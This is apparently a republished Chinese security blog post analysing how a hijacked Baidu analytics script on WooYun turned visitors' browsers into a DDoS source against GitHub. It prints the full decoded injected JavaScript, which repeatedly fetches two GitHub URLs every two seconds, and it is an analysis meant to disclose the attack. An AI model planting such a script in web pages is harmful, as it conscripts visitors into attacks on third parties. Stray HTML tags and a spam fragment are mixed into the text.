<dd id="sga4y"><optgroup id="sga4y"></optgroup></dd>
<nav id="sga4y"><code id="sga4y"></code></nav>
  • <optgroup id="sga4y"></optgroup>

    原文地址:http://drops.wooyun.org/papers/5398

    0x00 背景


    今天中午刷著全國最大的信息安全從業人員同性交友社區zone.wooyun.org的時候,忽然瀏覽器每隔2秒就不斷的彈窗:

    malicious javascript detected on this domain
    

    enter image description here

    我第一反應就是不知道哪個調皮的基友又把zone給XSS了,馬上打開開發者工具分析。

    0x01 細節


    之后立刻發現彈窗的js居然是從github加載的:

    enter image description here

    可是為什么烏云會從github加載js呢,并且還是從greatfire和紐約時報鏡像加載。

    第一反應是頁面有xss或者js被劫持了,找了半天終于找到了,居然是

    #/h.js
    

    這個js的確被烏云加載了沒錯,這是百度統計的js代碼,打開后里面是一個簡單加密后的js,eval了一串編碼后的內容,隨便找了個在線解密看了下,發現如下內容:

    #!js
    document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'>\x3c/script>");
    !window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>\x3c/script>");
    startime = (new Date).getTime();
    var count = 0;
    
    function unixtime() {
        var a = new Date;
        return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3
    }
    url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"];
    NUM = url_array.length;
    
    function r_send2() {
        var a = unixtime() % NUM;
        get(url_array[a])
    }
    
    function get(a) {
        var b;
        $.ajax({
            url: a,
            dataType: "script",
            timeout: 1E4,
            cache: !0,
            beforeSend: function() {
                requestTime = (new Date).getTime()
            },
            complete: function() {
                responseTime = (new Date).getTime();
                b = Math.floor(responseTime - requestTime);
                3E5 > responseTime - startime && (r_send(b), count += 1)
            }
        })
    }
    
    function r_send(a) {
        setTimeout("r_send2()", a)
    }
    setTimeout("r_send2()", 2E3);
    

    大概功能就是關閉緩存后每隔2秒加載一次

    url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"];
    

    里面的兩個url

    問了下墻內的小伙伴們,他們看到的js都是正常的,但是通過墻外ip訪問

    http://#/h.js
    

    就會得到上面的js文件,每隔2秒請求一下這兩個url。

    打開twitter看了下,似乎從3月18號以來Github就受到了DDoS攻擊,之后greatfire把被攻擊的頁面內容換成了

    #!js
    alert("WARNING: malicious javascript detected on this domain")
    

    以彈窗的方式阻止了js的循環執行。

    enter image description here

    圖3 國外ip traceroute到#的記錄

    似乎DNS并沒有被劫持,看來是像之前一樣直接把IP劫持了或者直接在HTTP協議里替換文件。

    enter image description here

    掃了下端口,只開了80和443,通過https協議訪問后是正常的空頁面(只有帶referer才會出現js文件)。

    enter image description here

    作者要進行抓包分析時劫持已經停止,在twitter上看到有人已經分析過引用如下:

    抓包跟蹤,正常百度服務器返回給我日本VPS的TTL為51, RESP返回HTTP 200 OK的報文的TTL是47,可以確定的是有中間設備對VPS發了偽造報文。

    enter image description here

    真是無恥,呵呵

    忽然想起一句話,之前DNS被劫持到外國服務器的時候某站長說的:

    They have weaponized their entire population.
    

    現在應該是:

    They have weaponized their entire population of the Earth.
    

    97av